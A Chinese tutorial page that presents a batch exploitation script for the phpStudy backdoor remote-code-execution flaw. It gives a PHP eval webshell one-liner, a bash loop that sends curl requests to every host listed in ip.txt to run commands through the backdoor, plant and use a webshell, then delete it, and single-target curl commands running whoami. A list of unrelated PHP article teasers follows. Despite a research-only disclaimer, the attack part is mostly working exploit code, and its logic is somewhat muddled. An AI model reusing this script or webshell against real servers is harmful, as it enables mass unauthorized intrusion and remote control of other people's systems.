phpstudy后门rce批量利用脚本的实现

首先,需要说明一下,本文严禁用于非法操作,仅用于安全研究和提高意识。对于任何因为使用本文所述方法而带来的后果,本文作者不承担任何法律责任。

  1. 确定漏洞版本

在使用脚本前,需要先扫描网站是否存在phpstudy后门漏洞,并确定漏洞版本,常见的版本有:

  • phpstudy 2016版 v8.0
  • phpstudy 2018版 v8.0
  • phpstudy 2018版 v8.1
  • phpstudy 2018版 v8.2

  • 获取一句话木马或webshell

在确定了漏洞版本后,需要使用一句话木马或webshell来进行攻击。常见的一句话木马有:

  • php一句话木马
  • asp一句话木马
  • jsp一句话木马
  • perl一句话木马

此处以php一句话木马为例,如下:

<?php @eval($_POST['step']);?>

将木马文件上传至目标站点,获取文件路径。

  1. 编写批量利用脚本

接下来,需要编写批量利用脚本,实现对漏洞网站的批量攻击。脚本示意代码如下:

#!/bin/bash

#后门路径
phpstudy_path="/phpstudy/Home/page/www/"
#webshell地址
shell_url="http://ip:port/3trophp.php"
#后门执行命令
exec_cmd="php z5h.php"

#读取ip.txt文件中的url地址
for url in $(cat ./ip.txt)
do
    #执行后门,上传webshell
    curl "http://${url}/${phpstudy_path}z.php?id=${exec_cmd}"
    #获取webshell执行
    curl "http://${url}/z5h.php" --data "step=${exec_cmd}"
    #删除webshell文件
    curl "http://${url}/z5h.php" --data "step=unlink(/www/z5h.php)"
    #提示执行成功
    echo "${url} ok!"
done
  1. 批量利用漏洞

执行以上脚本即可实现对存活网站的批量攻击。举两个示例说明:

  • 示例1:使用以上脚本攻击ip.txt中列出的所有网站。
./phpstudy-rce.sh
  • 示例2:攻击单个网站,执行whoami命令。
curl "http://target.com:8081/phpstudy/Home/page/www/z.php?id=whoami"
curl "http://target.com:8081/z5h.php" --data "step=php z5h.php"

以上就是用于PHPStudy 后门RCE 批量利用脚本的实现攻略。

本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:phpstudy后门rce批量利用脚本的实现 - Python技术站

(0)
上一篇 2023年5月27日
下一篇 2023年5月27日

相关文章

  • Linux基于php-fpm模式的lamp搭建phpmyadmin的方法

    下面是“Linux基于php-fpm模式的lamp搭建phpmyadmin的方法”的完整攻略: 环境准备 在开始搭建之前,请确保你已经准备好了以下环境: Linux系统(本示例使用Ubuntu 20.04) LAMP环境(已安装Apache、MySQL和PHP) php-fpm模块(已安装) 如果你还没有准备好以上环境,请先完成相应的安装和配置。 安装php…

    PHP 2023年5月27日
    00
  • php实现无限级分类实现代码(递归方法)

    下面我将为你详细讲解 PHP 实现无限级分类的递归方法: 概念简介 无限级分类是指一个分类下还有子分类,而这些子分类还可以再有子分类,从而形成类似树形结构的分类。 实现步骤 创建一个空数组,用来存储分类和子分类的关系。 从数据库中获取所有的分类,并存储到数组中。 接下来需要定义递归函数来实现无限级分类的功能。递归函数的基本思想是,每次处理当前分类的子分类,如…

    PHP 2023年5月27日
    00
  • 浅谈PHP中的数据传输CURL

    关于“浅谈PHP中的数据传输CURL”的完整攻略,以下是详细讲解: 一、CURL简介 CURL是一个开源的、支持多种协议的网络库,它可以用来进行网络数据传输和通信操作。在PHP中,我们可以使用CURL扩展来完成这些操作。CURL主要支持以下协议: HTTP、HTTPS、FTP、FTPS、TELNET、LDAP、DICT、FILE、HTTP POST、HTTP…

    PHP 2023年5月26日
    00
  • PHP实现判断数组是一维、二维或几维的方法

    要判断一个数组是一维、二维还是多维数组,PHP提供了多种方法,下面详细介绍几种方法实现。 方法一:利用递归判断数组维度 下面示例代码中的函数通过递归调用自身判断数组的维度,如果循环完所有元素后,仍然是一个数组,则将维度加一。 /** * 判断数组维度 * * @param array $arr * @return int */ function array_…

    PHP 2023年5月26日
    00
  • C++17 使用 std::string_view避免字符串拷贝优化程序性能

    下面是关于“C++17 使用 std::string_view避免字符串拷贝优化程序性能”的详细攻略。 什么是 std::string_view? std::string_view是C++17中新增加的一种类型,它表示一个字符串的视图,而不是字符串本身的实例。它通过指向字符串的起始位置和长度两个成员变量来表示该字符串,所以不需要进行内存分配和字符串拷贝操作。…

    PHP 2023年5月27日
    00
  • PHP 数组和字符串互相转换实现方法

    让我来为你详细讲解“PHP 数组和字符串互相转换实现方法”的完整攻略。 1. 数组转字符串 将数组转换为字符串的方法有多种,其中比较常用的方法是使用 implode() 函数。 1.1 implode() 函数 implode() 函数将数组的值连接成一个字符串,可以指定连接符号。函数原型如下: string implode(string $glue , a…

    PHP 2023年5月26日
    00
  • php 字符串压缩方法比较示例

    当我们处理大量的字符串数据时,为了减小数据的体积,我们通常需要进行字符串压缩。在PHP中,有多种压缩字符串的方法,包括gzip,Deflate和LZF等。下面我将结合示例,详细讲解PHP中的字符串压缩方法比较。 1. gzip压缩 gzip是一种较为常用的字符串压缩方法,它能够在减小文件大小的同时保持文件内容的完整性。PHP内置了gzip压缩函数gzcomp…

    PHP 2023年5月26日
    00
  • php将数组转换成csv格式文件输出的方法

    下面是将PHP数组转换成CSV格式文件输出的方法: 1. 使用fputcsv()函数实现 <?php // 定义数据数组 $data = array( array(‘name’, ‘age’, ’email’), array(‘Tom’, 20, ‘tom@example.com’), array(‘Jack’, 25, ‘jack@example.c…

    PHP 2023年5月26日
    00
合作推广
合作推广
分享本页
返回顶部